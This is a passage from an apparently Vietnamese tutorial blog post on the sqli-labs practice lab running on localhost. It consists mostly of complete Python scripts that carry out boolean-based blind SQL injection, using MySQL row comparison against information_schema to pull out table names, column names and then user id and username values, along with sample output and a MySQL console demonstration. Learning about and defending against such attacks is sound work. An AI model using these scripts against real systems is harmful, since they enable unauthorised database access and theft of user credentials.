class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br></pre></td><td class="code"><pre><span class="line">import requests</span><br><span class="line">import urllib</span><br><span class="line">url <span class="operator">=</span> <span class="string">&#x27;http://localhost/Less-1/?id=&#x27;</span></span><br><span class="line"># nhập các giá trị</span><br><span class="line">print(&quot;Nhập database cần tìm table_name: &quot;, <span class="keyword">end</span><span class="operator">=</span><span class="string">&#x27;&#x27;</span>)</span><br><span class="line">db_name <span class="operator">=</span> str(input())</span><br><span class="line">print(&quot;Nhập bắt đầu table_name cần tìm: &quot;, <span class="keyword">end</span><span class="operator">=</span><span class="string">&#x27;&#x27;</span>)</span><br><span class="line">index_table_begin <span class="operator">=</span> <span class="type">int</span>(input())<span class="number">-1</span></span><br><span class="line">print(&quot;Nhập kết thúc của table_name cần tìm: &quot;, <span class="keyword">end</span><span class="operator">=</span><span class="string">&#x27;&#x27;</span>)</span><br><span class="line">index_table_end <span class="operator">=</span> <span class="type">int</span>(input())<span class="number">-1</span></span><br><span class="line">table_name <span class="operator">=</span> <span class="string">&#x27;&#x27;</span></span><br><span class="line"># <span class="comment">-------</span></span><br><span class="line">all_table_name <span class="operator">=</span> []</span><br><span class="line">count <span class="operator">=</span> <span class="number">0</span></span><br><span class="line"><span class="keyword">for</span> index_table <span class="keyword">in</span> <span class="keyword">range</span>(index_table_begin, index_table_end):</span><br><span class="line">    count <span class="operator">=</span> <span class="number">0</span></span><br><span class="line">    <span class="keyword">for</span> i <span class="keyword">in</span> <span class="keyword">range</span>(<span class="number">1</span>, <span class="number">20</span>):</span><br><span class="line">        if count <span class="operator">&gt;</span> <span class="number">0</span>:</span><br><span class="line">            break</span><br><span class="line">        <span class="keyword">for</span> j <span class="keyword">in</span> &quot;`abcdefghijklmnopqrstuvwxyz-&#123;|&#125;~&quot;:</span><br><span class="line">            payload <span class="operator">=</span> &quot;1&#x27; and (&#x27;def&#x27;,&#x27;&#123;&#125;&#x27;,&#x27;&#123;&#125;&#x27;,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21)&lt;=(table information_schema.tables limit &#123;&#125;,1)-- -&quot;.format(</span><br><span class="line">                db_name, table_name<span class="operator">+</span>j, index_table)</span><br><span class="line">            print(table_name<span class="operator">+</span>j)</span><br><span class="line">            payload_encoded <span class="operator">=</span> urllib.parse.quote(payload)</span><br><span class="line">            r <span class="operator">=</span> requests.get(url<span class="operator">=</span>url<span class="operator">+</span>payload_encoded)</span><br><span class="line">            if &quot;Your Login name&quot; <span class="keyword">in</span> r.text:</span><br><span class="line">                # bước này mình <span class="keyword">check</span> khi nó bị nhiễu ở kí tự cuối</span><br><span class="line">                if j <span class="operator">=</span><span class="operator">=</span> <span class="string">&#x27;~&#x27;</span>:</span><br><span class="line">                    count <span class="operator">+</span><span class="operator">=</span> <span class="number">1</span></span><br><span class="line">                continue</span><br><span class="line">            <span class="keyword">else</span>:</span><br><span class="line">                # print(r.text)</span><br><span class="line">                table_name <span class="operator">+</span><span class="operator">=</span> chr(ord(j)<span class="number">-1</span>)</span><br><span class="line">                break</span><br><span class="line">    # Thay đổi kí tự cuối về đúng kí tự cần tìm ví dụ nó xuất ra mysqk thì chúng ta cần đổi về mysql bằng cách tăng ascii thằng k lên <span class="number">1</span></span><br><span class="line">    list_tbname <span class="operator">=</span> list(table_name)</span><br><span class="line">    list_tbname[<span class="number">-1</span>] <span class="operator">=</span> chr(ord(list_tbname[<span class="number">-1</span>])<span class="operator">+</span><span class="number">1</span>)</span><br><span class="line">    table_name <span class="operator">=</span> &quot;&quot;.<span class="keyword">join</span>(list_tbname)</span><br><span class="line">    print(&quot;Table name is: &quot;<span class="operator">+</span>table_name)</span><br><span class="line">    all_table_name.append(table_name)</span><br><span class="line">    table_name <span class="operator">=</span> &quot;&quot;</span><br><span class="line">print(&quot;All table name:&quot;)</span><br><span class="line">print(all_table_name)</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>Với payload của mình nếu không đúng index so với database thì nó sẽ có table_name là “__________________&#96;” hoặc là string trống. Để tìm đúng thì chúng ta sẽ dò đến khi có tên hợp lý.</p><p>Script dump table_name:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> requests</span><br><span class="line"><span class="keyword">import</span> urllib</span><br><span class="line">url = <span class="string">&#x27;http://localhost/Less-1/?id=&#x27;</span></span><br><span class="line"><span class="comment"># nhập các giá trị</span></span><br><span class="line"><span class="built_in">print</span>(<span class="string">&quot;Nhập database cần tìm table_name: &quot;</span>, end=<span class="string">&#x27;&#x27;</span>)</span><br><span class="line">db_name = <span class="built_in">str</span>(<span class="built_in">input</span>())</span><br><span class="line"><span class="built_in">print</span>(<span class="string">&quot;Nhập bắt đầu table_name cần tìm: &quot;</span>, end=<span class="string">&#x27;&#x27;</span>)</span><br><span class="line">index_table_begin = <span class="built_in">int</span>(<span class="built_in">input</span>())-<span class="number">1</span></span><br><span class="line"><span class="built_in">print</span>(<span class="string">&quot;Nhập kết thúc của table_name cần tìm: &quot;</span>, end=<span class="string">&#x27;&#x27;</span>)</span><br><span class="line">index_table_end = <span class="built_in">int</span>(<span class="built_in">input</span>())-<span class="number">1</span></span><br><span class="line">table_name = <span class="string">&#x27;&#x27;</span></span><br><span class="line"><span class="comment"># -------</span></span><br><span class="line">all_table_name = []</span><br><span class="line">count = <span class="number">0</span></span><br><span class="line"><span class="keyword">for</span> index_table <span class="keyword">in</span> <span class="built_in">range</span>(index_table_begin, index_table_end):</span><br><span class="line">    count = <span class="number">0</span></span><br><span class="line">    <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">1</span>, <span class="number">20</span>):</span><br><span class="line">        <span class="keyword">if</span> count &gt; <span class="number">0</span>:</span><br><span class="line">            <span class="keyword">break</span></span><br><span class="line">        <span class="keyword">for</span> j <span class="keyword">in</span> <span class="string">&quot;`abcdefghijklmnopqrstuvwxyz-&#123;|&#125;~&quot;</span>:</span><br><span class="line">            payload = <span class="string">&quot;1&#x27; and (&#x27;def&#x27;,&#x27;&#123;&#125;&#x27;,&#x27;&#123;&#125;&#x27;,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21)&lt;=(table information_schema.tables limit &#123;&#125;,1)-- -&quot;</span>.<span class="built_in">format</span>(</span><br><span class="line">                db_name, table_name+j, index_table)</span><br><span class="line">            <span class="built_in">print</span>(table_name+j)</span><br><span class="line">            payload_encoded = urllib.parse.quote(payload)</span><br><span class="line">            r = requests.get(url=url+payload_encoded)</span><br><span class="line">            <span class="keyword">if</span> <span class="string">&quot;Your Login name&quot;</span> <span class="keyword">in</span> r.text:</span><br><span class="line">                <span class="comment"># bước này mình check khi nó bị nhiễu ở kí tự cuối</span></span><br><span class="line">                <span class="keyword">if</span> j == <span class="string">&#x27;~&#x27;</span>:</span><br><span class="line">                    count += <span class="number">1</span></span><br><span class="line">                <span class="keyword">continue</span></span><br><span class="line">            <span class="keyword">else</span>:</span><br><span class="line">                <span class="comment"># print(r.text)</span></span><br><span class="line">                table_name += <span class="built_in">chr</span>(<span class="built_in">ord</span>(j)-<span class="number">1</span>)</span><br><span class="line">                <span class="keyword">break</span></span><br><span class="line">    <span class="comment"># break với trường hợp table_name = &#x27;&#x27; (test là thấy, tùy cách mình lập trình ^^)</span></span><br><span class="line">    <span class="keyword">if</span> table_name == <span class="string">&quot;&quot;</span>:</span><br><span class="line">        <span class="keyword">continue</span></span><br><span class="line">    <span class="comment"># Thay đổi kí tự cuối về đúng kí tự cần tìm ví dụ nó xuất ra mysqk thì chúng ta cần đổi về mysql bằng cách tăng ascii thằng k lên 1</span></span><br><span class="line">    list_tbname = <span class="built_in">list</span>(table_name)</span><br><span class="line">    <span class="built_in">print</span>(list_tbname)</span><br><span class="line">    list_tbname[-<span class="number">1</span>] = <span class="built_in">chr</span>(<span class="built_in">ord</span>(list_tbname[-<span class="number">1</span>])+<span class="number">1</span>)</span><br><span class="line">    table_name = <span class="string">&quot;&quot;</span>.join(list_tbname)</span><br><span class="line">    <span class="comment"># print(&quot;Table name is: &quot;+table_name) print thẳng all table name dễ xử lí vấn đề hơn nhỉ ^^.</span></span><br><span class="line">    all_table_name.append(table_name)</span><br><span class="line">    table_name = <span class="string">&quot;&quot;</span></span><br><span class="line">    <span class="built_in">print</span>(<span class="string">&quot;All table name:&quot;</span>)</span><br><span class="line">    <span class="built_in">print</span>(all_table_name)</span><br><span class="line">    <span class="string">&#x27;&#x27;&#x27;</span></span><br><span class="line"><span class="string">    //Ở trong bài này, chúng ta cần tìm table_name trong database security</span></span><br><span class="line"><span class="string">    All table name:</span></span><br><span class="line"><span class="string">    [&#x27;emails&#x27;, &#x27;referers&#x27;, &#x27;uagents&#x27;, &#x27;users&#x27;, &#x27;__________________`&#x27;, &#x27;__________________`&#x27;, &#x27;__________________`&#x27;, &#x27;__________________`&#x27;]</span></span><br><span class="line"><span class="string">    &#x27;&#x27;&#x27;</span></span><br></pre></td></tr></table></figure><h3 id="Dump-column-name"><a href="#Dump-column-name" class="headerlink" title="Dump column_name:"></a>Dump column_name:</h3><p>Bảng này có 22 cột. Tương tự như information_schema.tables bảng này cần thêm 2 giá trị xác định là database và table, và dò khoảng đúng với database và table của column. Việc dò này các bạn lưu ý tự dò nhé, bởi vì với mỗi phiên bản sẽ có thêm những table và column nên nó chỉ gần sát với khoảng của mình thôi.</p><p>Script dump column_name:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> requests</span><br><span class="line"><span class="keyword">import</span> urllib</span><br><span class="line">url = <span class="string">&#x27;http://localhost/Less-1/?id=&#x27;</span></span><br><span class="line"><span class="comment"># nhập các giá trị</span></span><br><span class="line"><span class="built_in">print</span>(<span class="string">&quot;Nhập database cần tìm column_name: &quot;</span>, end=<span class="string">&#x27;&#x27;</span>)</span><br><span class="line">db_name = <span class="built_in">str</span>(<span class="built_in">input</span>())</span><br><span class="line"><span class="built_in">print</span>(<span class="string">&quot;Nhập table cần tìm column_name: &quot;</span>, end=<span class="string">&#x27;&#x27;</span>)</span><br><span class="line">tb_name = <span class="built_in">str</span>(<span class="built_in">input</span>())</span><br><span class="line"><span class="built_in">print</span>(<span class="string">&quot;Nhập bắt đầu column_name cần tìm: &quot;</span>, end=<span class="string">&#x27;&#x27;</span>)</span><br><span class="line">index_column_begin = <span class="built_in">int</span>(<span class="built_in">input</span>())-<span class="number">1</span></span><br><span class="line"><span class="built_in">print</span>(<span class="string">&quot;Nhập kết thúc của column_name cần tìm: &quot;</span>, end=<span class="string">&#x27;&#x27;</span>)</span><br><span class="line">index_column_end = <span class="built_in">int</span>(<span class="built_in">input</span>())-<span class="number">1</span></span><br><span class="line">column_name = <span class="string">&#x27;&#x27;</span></span><br><span class="line"><span class="comment"># -------</span></span><br><span class="line">all_column_name = []</span><br><span class="line">count = <span class="number">0</span></span><br><span class="line"><span class="keyword">for</span> index_column <span class="keyword">in</span> <span class="built_in">range</span>(index_column_begin, index_column_end):</span><br><span class="line">    count = <span class="number">0</span></span><br><span class="line">    <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">1</span>, <span class="number">20</span>):</span><br><span class="line">        <span class="keyword">if</span> count &gt; <span class="number">0</span>:</span><br><span class="line">            <span class="keyword">break</span></span><br><span class="line">        <span class="keyword">for</span> j <span class="keyword">in</span> <span class="string">&quot;`abcdefghijklmnopqrstuvwxyz-&#123;|&#125;~&quot;</span>:</span><br><span class="line">            payload = <span class="string">&quot;1&#x27; and (&#x27;def&#x27;,&#x27;&#123;&#125;&#x27;,&#x27;&#123;&#125;&#x27;,&#x27;&#123;&#125;&#x27;,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22)&lt;=(table information_schema.columns limit &#123;&#125;,1)-- -&quot;</span>.<span class="built_in">format</span>(</span><br><span class="line">                db_name, tb_name, column_name+j, index_column)</span><br><span class="line">            <span class="built_in">print</span>(column_name+j)</span><br><span class="line">            payload_encoded = urllib.parse.quote(payload)</span><br><span class="line">            r = requests.get(url=url+payload_encoded)</span><br><span class="line">            <span class="keyword">if</span> <span class="string">&quot;Your Login name&quot;</span> <span class="keyword">in</span> r.text:</span><br><span class="line">                <span class="comment"># bước này mình check khi nó bị nhiễu ở kí tự cuối</span></span><br><span class="line">                <span class="keyword">if</span> j == <span class="string">&#x27;~&#x27;</span>:</span><br><span class="line">                    count += <span class="number">1</span></span><br><span class="line">                <span class="keyword">continue</span></span><br><span class="line">            <span class="keyword">else</span>:</span><br><span class="line">                <span class="comment"># print(r.text)</span></span><br><span class="line">                column_name += <span class="built_in">chr</span>(<span class="built_in">ord</span>(j)-<span class="number">1</span>)</span><br><span class="line">                <span class="keyword">break</span></span><br><span class="line">    <span class="comment"># break với trường hợp column_name = &#x27;&#x27; (test là thấy, tùy cách mình lập trình ^^)</span></span><br><span class="line">    <span class="keyword">if</span> column_name == <span class="string">&quot;&quot;</span>:</span><br><span class="line">        <span class="keyword">continue</span></span><br><span class="line">    <span class="comment"># Thay đổi kí tự cuối về đúng kí tự cần tìm ví dụ nó xuất ra mysqk thì chúng ta cần đổi về mysql bằng cách tăng ascii thằng k lên 1</span></span><br><span class="line">    list_clname = <span class="built_in">list</span>(column_name)</span><br><span class="line">    <span class="built_in">print</span>(list_clname)</span><br><span class="line">    list_clname[-<span class="number">1</span>] = <span class="built_in">chr</span>(<span class="built_in">ord</span>(list_clname[-<span class="number">1</span>])+<span class="number">1</span>)</span><br><span class="line">    column_name = <span class="string">&quot;&quot;</span>.join(list_clname)</span><br><span class="line">    all_column_name.append(column_name)</span><br><span class="line">    column_name = <span class="string">&quot;&quot;</span></span><br><span class="line">    <span class="built_in">print</span>(<span class="string">&quot;All table name:&quot;</span>)</span><br><span class="line">    <span class="built_in">print</span>(all_column_name)</span><br><span class="line"><span class="string">&#x27;&#x27;&#x27;</span></span><br><span class="line"><span class="string">Nhập database cần tìm column_name: security</span></span><br><span class="line"><span class="string">Nhập table cần tìm column_name: users   </span></span><br><span class="line"><span class="string">Nhập bắt đầu column_name cần tìm: 3490</span></span><br><span class="line"><span class="string">Nhập kết thúc của column_name cần tìm: 3505</span></span><br><span class="line"><span class="string">All table name:</span></span><br><span class="line"><span class="string">[&#x27;id&#x27;, &#x27;username&#x27;, &#x27;password&#x27;, &#x27;__________________`&#x27;, &#x27;__________________`&#x27;, &#x27;__________________`&#x27;, &#x27;__________________`&#x27;, &#x27;__________________`&#x27;, &#x27;__________________`&#x27;, &#x27;__________________`&#x27;, &#x27;__________________`&#x27;, &#x27;__________________`&#x27;, &#x27;__________________`&#x27;, &#x27;__________________`&#x27;, &#x27;__________________`&#x27;]</span></span><br><span class="line"><span class="string">&#x27;&#x27;&#x27;</span></span><br></pre></td></tr></table></figure><h3 id="Dump-bang-da-duoc-xac-dinh"><a href="#Dump-bang-da-duoc-xac-dinh" class="headerlink" title="Dump bảng đã được xác định:"></a>Dump bảng đã được xác định:</h3><p>Mình không hiểu tại sao bây giờ giả sử giá trị cần tìm là dump, thì mình xét với dump thì nó vẫn trả về true. Nhưng mà cũng không quan trọng lắm, làm theo cái mình test thôi à ^^.</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line">mysql<span class="operator">&gt;</span> <span class="keyword">select</span> (<span class="string">&#x27;1&#x27;</span>,<span class="string">&#x27;duma&#x27;</span>,<span class="string">&#x27;&#x27;</span>)<span class="operator">&lt;=</span>(<span class="keyword">table</span> security.users limit <span class="number">1</span>);</span><br><span class="line"><span class="operator">+</span><span class="comment">-------------------------------------------------+</span></span><br><span class="line"><span class="operator">|</span> (<span class="string">&#x27;1&#x27;</span>,<span class="string">&#x27;duma&#x27;</span>,<span class="string">&#x27;&#x27;</span>)<span class="operator">&lt;=</span>(<span class="keyword">table</span> security.users limit <span class="number">1</span>) <span class="operator">|</span></span><br><span class="line"><span class="operator">+</span><span class="comment">-------------------------------------------------+</span></span><br><span class="line"><span class="operator">|</span>                                               <span class="number">1</span> <span class="operator">|</span></span><br><span class="line"><span class="operator">+</span><span class="comment">-------------------------------------------------+</span></span><br><span class="line"><span class="number">1</span> <span class="type">row</span> <span class="keyword">in</span> <span class="keyword">set</span> (<span class="number">0.00</span> sec)</span><br><span class="line"></span><br><span class="line">mysql<span class="operator">&gt;</span> <span class="keyword">select</span> (<span class="string">&#x27;1&#x27;</span>,<span class="string">&#x27;dumb&#x27;</span>,<span class="string">&#x27;&#x27;</span>)<span class="operator">&lt;=</span>(<span class="keyword">table</span> security.users limit <span class="number">1</span>);</span><br><span class="line"><span class="operator">+</span><span class="comment">-------------------------------------------------+</span></span><br><span class="line"><span class="operator">|</span> (<span class="string">&#x27;1&#x27;</span>,<span class="string">&#x27;dumb&#x27;</span>,<span class="string">&#x27;&#x27;</span>)<span class="operator">&lt;=</span>(<span class="keyword">table</span> security.users limit <span class="number">1</span>) <span class="operator">|</span></span><br><span class="line"><span class="operator">+</span><span class="comment">-------------------------------------------------+</span></span><br><span class="line"><span class="operator">|</span>                                               <span class="number">1</span> <span class="operator">|</span></span><br><span class="line"><span class="operator">+</span><span class="comment">-------------------------------------------------+</span></span><br><span class="line"><span class="number">1</span> <span class="type">row</span> <span class="keyword">in</span> <span class="keyword">set</span> (<span class="number">0.00</span> sec)</span><br><span class="line"></span><br><span class="line">mysql<span class="operator">&gt;</span> <span class="keyword">select</span> (<span class="string">&#x27;1&#x27;</span>,<span class="string">&#x27;dumc&#x27;</span>,<span class="string">&#x27;&#x27;</span>)<span class="operator">&lt;=</span>(<span class="keyword">table</span> security.users limit <span class="number">1</span>);</span><br><span class="line"><span class="operator">+</span><span class="comment">-------------------------------------------------+</span></span><br><span class="line"><span class="operator">|</span> (<span class="string">&#x27;1&#x27;</span>,<span class="string">&#x27;dumc&#x27;</span>,<span class="string">&#x27;&#x27;</span>)<span class="operator">&lt;=</span>(<span class="keyword">table</span> security.users limit <span class="number">1</span>) <span class="operator">|</span></span><br><span class="line"><span class="operator">+</span><span class="comment">-------------------------------------------------+</span></span><br><span class="line"><span class="operator">|</span>                                               <span class="number">0</span> <span class="operator">|</span></span><br><span class="line"><span class="operator">+</span><span class="comment">-------------------------------------------------+</span></span><br><span class="line"><span class="number">1</span> <span class="type">row</span> <span class="keyword">in</span> <span class="keyword">set</span> (<span class="number">0.00</span> sec)</span><br></pre></td></tr></table></figure><p>huhu kĩ năng lập trình kém nên không biết viết như nào cho chuẩn nhất (lười quá), script của mình ở dưới bị dính thằng ‘0’ cách mình bypass chưa tối ưu, nếu giá trị có số 0 thì mình sai nhưng mà lười viết quá.<br>Dump id:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> requests</span><br><span class="line"><span class="keyword">import</span> urllib</span><br><span class="line">url = <span class="string">&#x27;http://localhost/Less-1/?id=&#x27;</span></span><br><span class="line"><span class="comment"># nhập các giá trị</span></span><br><span class="line"><span class="built_in">print</span>(<span class="string">&quot;Nhập database của table: &quot;</span>, end=<span class="string">&#x27;&#x27;</span>)</span><br><span class="line">db_name = <span class="built_in">str</span>(<span class="built_in">input</span>())</span><br><span class="line"><span class="built_in">print</span>(<span class="string">&quot;Nhập table: &quot;</span>, end=<span class="string">&#x27;&#x27;</span>)</span><br><span class="line">tb_name = <span class="built_in">str</span>(<span class="built_in">input</span>())</span><br><span class="line">value = <span class="string">&#x27;&#x27;</span></span><br><span class="line"><span class="comment"># -------</span></span><br><span class="line">all_value = []</span><br><span class="line">count = <span class="number">0</span></span><br><span class="line"><span class="keyword">for</span> index <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">0</span>, <span class="number">100</span>):</span><br><span class="line">    count = <span class="number">0</span></span><br><span class="line">    <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">1</span>, <span class="number">20</span>):</span><br><span class="line">        <span class="keyword">if</span> count &gt; <span class="number">0</span>:</span><br><span class="line">            <span class="keyword">break</span></span><br><span class="line">        <span class="keyword">for</span> j <span class="keyword">in</span> <span class="string">&quot;0123456789abcdefghijklmnopqrstuvwxyz-&#123;|&#125;~&quot;</span>:</span><br><span class="line">            payload = <span class="string">&quot;1&#x27; and (&#x27;&#123;&#125;&#x27;,&#x27;&#x27;,&#x27;&#x27;)&lt;=(table &#123;&#125;.&#123;&#125; limit &#123;&#125;,1)-- -&quot;</span>.<span class="built_in">format</span>(</span><br><span class="line">                value + j, db_name, tb_name, <span class="built_in">str</span>(index))</span><br><span class="line">            <span class="built_in">print</span>(value + j)</span><br><span class="line">            payload_encoded = urllib.parse.quote(payload)</span><br><span class="line">            r = requests.get(url=url+payload_encoded)</span><br><span class="line">            <span class="comment"># print(r.text)</span></span><br><span class="line">            <span class="keyword">if</span> <span class="string">&quot;Your Login name&quot;</span> <span class="keyword">in</span> r.text:</span><br><span class="line">                <span class="keyword">continue</span></span><br><span class="line">            <span class="keyword">else</span>:</span><br><span class="line">                <span class="comment"># print(r.text)</span></span><br><span class="line">                <span class="keyword">if</span> j == <span class="string">&#x27;0&#x27;</span>:</span><br><span class="line">                    <span class="keyword">break</span></span><br><span class="line">                value += <span class="built_in">chr</span>(<span class="built_in">ord</span>(j)-<span class="number">1</span>)</span><br><span class="line">                <span class="keyword">break</span></span><br><span class="line">    <span class="keyword">if</span> value == <span class="string">&quot;&quot;</span>:</span><br><span class="line">        <span class="keyword">continue</span></span><br><span class="line">    all_value.append(value)</span><br><span class="line">    value = <span class="string">&quot;&quot;</span></span><br><span class="line">    <span class="built_in">print</span>(<span class="string">&quot;All value:&quot;</span>)</span><br><span class="line">    <span class="built_in">print</span>(all_value)</span><br></pre></td></tr></table></figure><p>Dump username</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> requests</span><br><span class="line"><span class="keyword">import</span> urllib</span><br><span class="line">url = <span class="string">&#x27;http://localhost/Less-1/?id=&#x27;</span></span><br><span class="line"><span class="comment"># nhập các giá trị</span></span><br><span class="line"><span class="built_in">print</span>(<span class="string">&quot;Nhập database của table: &quot;</span>, end=<span class="string">&#x27;&#x27;</span>)</span><br><span class="line">db_name = <span class="built_in">str</span>(<span class="built_in">input</span>())</span><br><span class="line"><span class="built_in">print</span>(<span class="string">&quot;Nhập table: &quot;</span>, end=<span class="string">&#x27;&#x27;</span>)</span><br><span class="line">tb_name = <span class="built_in">str</span>(<span class="built_in">input</span>())</span><br><span class="line"><span class="built_in">print</span>(<span class="string">&quot;Nhập id: &quot;</span>, end=<span class="string">&quot;&quot;</span>)</span><br><span class="line"><span class="built_in">id</span> = <span class="built_in">str</span>(<span class="built_in">input</span>())</span><br><span class="line"><span class="built_in">print</span>(<span class="string">&quot;Nhập index của id: &quot;</span>, end=<span class="string">&quot;&quot;</span>)</span><br><span class="line">index = <span class="built_in">str</span>(<span class="built_in">input</span>())</span><br><span class="line"><span class="comment"># vì chúng ta biết được index của id từ script đầu tiên rồi</span></span><br><span class="line">value = <span class="string">&#x27;&#x27;</span></span><br><span class="line"><span class="comment"># -------</span></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">1</span>, <span class="number">20</span>):</span><br><span class="line">    <span class="keyword">for</span> j <span class="keyword">in</span> <span class="string">&quot;0123456789abcdefghijklmnopqrstuvwxyz-&#123;|&#125;~&quot;</span>:</span><br><span class="line">        payload = <span class="string">&quot;1&#x27; and (&#x27;&#123;&#125;&#x27;,&#x27;&#123;&#125;&#x27;,&#x27;&#x27;)&lt;=(table &#123;&#125;.&#123;&#125; limit &#123;&#125;,1)-- -&quot;</span>.<span class="built_in">format</span>(</span><br><span class="line">            <span class="built_in">id</span>, value + j, db_name, tb_name, index)</span><br><span class="line">        <span class="built_in">print</span>(value + j)</span><br><span class="line">        payload_encoded = urllib.parse.quote(payload)</span><br><span class="line">        r = requests.get(url=url+payload_encoded)</span><br><span class="line">        <span class="comment"># print(r.text)</span></span><br><span class="line">        <span class="keyword">if</span> <span class="string">&quot;Your Login name&quot;</span> <span class="keyword">in</span> r.text:</span><br><span class="line">            <span class="keyword">continue</span></span><br><span class="line">        <span class="keyword">else</span>:</span><br><span class="line">            <span class="comment"># print(r.text)</span></span><br><span class="line">            <span class="keyword">if</span> j == <span class="string">&#x27;0&#x27;</span>:</span><br><span class="line">                <span class="keyword">break</span></span><br><span class="line">            value += <span class="built_in">chr</span>(<span class="built_in">ord</span>(j)-<span class="number">1</span>)</span><br><span class="line">            <span class="keyword">break</span></span><br><span class="line"><span class="built_in">print</span>(<span class="string">&quot;Giá trị cần tìm là: &quot;</span>, end=<span class="string">&quot;&quot;</span>)</span><br><span class="line"><span 